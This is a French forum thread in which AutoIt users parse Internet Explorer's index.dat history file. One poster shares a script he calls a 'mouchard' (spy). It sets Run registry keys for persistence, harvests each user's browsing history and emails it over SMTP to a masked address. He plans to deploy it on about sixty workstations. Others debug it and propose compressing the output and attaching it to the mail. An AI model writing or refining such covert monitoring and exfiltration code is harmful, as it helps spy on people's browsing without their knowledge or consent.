[R] Dépiotage du fichier index.dat

[GhostLine]

Pas de caractères indésirables en vue, par contre, certains mk: semblent perdre leur suite (en gros, j'ai un CR juste après).

[sylvanie]

Bonsoir,
je me suis inspiré d'Ani, en pofinant un peu l'expression régulière pour qu'elle s'arrête à la sélection des caractères imprimable, puisque ce fichierest un binaire brute.
Ducoups, pas de caractère "bizares", mais il y aura les mêmes effets de bords si une url est coupée dans ce fichier par un caractère bianire pur.

Code : Tout sélectionner

$title="cpindex.dat" ; nom de la copie du fichier en local
$fic = FileOpen($title,0)
if $fic = -1 Then Exit 1
while 1
   $contenu = FileReadLine($fic)
   if @error Then ExitLoop
   $selection = StringRegExpReplace($contenu,".*Visited.*@(.*/\w*).*","$1")
   If (Not @error) And (@extended > 0) Then ConsoleWrite($selection&@CRLF)
WEnd
FileClose($fic)
 

[ani]

hello sylvanie
merci de t'inspiré de moi
mais le code ne fonctionne pas (il renvoi pas les liens en entier, ^même pas du tout)
le dernier code que j'ai posté fonctionne mieux

[GhostLine]

Bon, pour information, voici le code de mon mouchard :

► Afficher le texte

Code : Tout sélectionner

#include <INet.au3>
#Include <File.au3>

$var = RegRead ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "TempKey")
if @error  = 1 Then
    RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "TempKey", "REG_SZ", "c:\windows\mouchard2.exe")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "TempKey", "REG_SZ", "c:\windows\mouchard2.exe")
ExitLoop

while 1
    sleep (60480000)
    $file = FileOpen(@UserProfileDir&"\Local Settings\Historique\History.IE5\index.dat",0)
    While 1
        $line = FileReadLine($file)
    If @error = -1 Then ExitLoop
    If (stringinstr($line,":") And stringinstr($line,"@")) <> 0 Then   
        $split = stringsplit($line,"@")
        FileWriteLine("c:\windows\test.txt",StringReplace($line,$split[1]&"@",""))
    EndIf
    Wend
    FileClose($file)
    $as_Body = ""
    _FileReadToArray("c:\windows\test.txt", $as_Body)
    $s_SmtpServer = "smtp.fr.*****.***"
    $s_FromName = "Rapport communications"
    $s_FromAddress = "****@****.***"
    $s_ToAddress = "****@****.***"
    $s_Subject = "Reporting "&@IPAddress1
    $Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
    FileDelete("c:\windows\test.txt")
WEnd

[ani]

heu, t'a vérifié ton code ?
if @error = 1 then manque le endif .
y a un exitloop < a changé en exit
un while ? deux while whaouuuu un seul suffit.

le sleep me semble long ? ± 16,8Heure ??

Obtenir le lien de l'historique.

Code : Tout sélectionner

$Hist = Regread("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders","History")

je retourne sur ce projet

[GhostLine]

Oui oui, c'est long et c'est voulu ce script va être sur une soixantaine de postes, il faut que j'étale les réceptions

Je reste ouvert à toutes suggestions

Edit: et merci pour la coquille

Edit2 : et c'est là que l'on découvre que je suis un administrateur réseau de formation, non point un développeur

[ani]

reee

Après quelques vérification,
une petite correction s'impose, il faut ajouter un espacement entre le caractère : et le lien.

Malheureusement je ne retrouve plus le second script qui était bien plus complet

Voici le code corrigé, ce qui est en rouge est le changement

Code : Tout sélectionner

$file = FileOpen(@UserProfileDir&"\Local Settings\Historique\History.IE5\index.dat",0)
If $file = -1 Then
    MsgBox(0, "Erreur", "Impossible d'ouvrir le fichier.")
    Exit
EndIf
While 1
    $line = FileReadLine($file)
    If @error = -1 Then ExitLoop
    If (stringinstr($line,[color=#FF0000]": "[/color])) <> 0 Then    
        $split = stringsplit($line,"@")
        FileWriteLine("c:\test2.txt",StringReplace($line,$split[1]&"@",""))
    EndIf
Wend
FileClose($file)
RunWait("write c:\test2.txt")

Voilàvoilà, je reposterai dés que j'ai retrouvé l'autre script

Celui-ci lister la ruche (pour récuperer le lien historique du système d'exploitation), petite cmd dos, suivit d'un traitement comme ci-dessus.

En ce qui concerne les dates, elle existe mais dans les fichiers index qui se trouve dans les répertoires du style MSHist012009070220090703, les info se trouve dans la barre(panneau) historique (lundi,mardi...1 semaine,...ajourd'hui)

Traitement des divers fichiers, ensuite une sortie html ce qui sera mieux ? vu que tu envoi par mail, ou encore comprésser le fichier et l'attacher au mail ?

edit:bon vais le recommencer, je retrouve plus l'ébauche

[GhostLine]

Je sens que ce petit script va finir dans les exemples d'ici pas longtemps ^^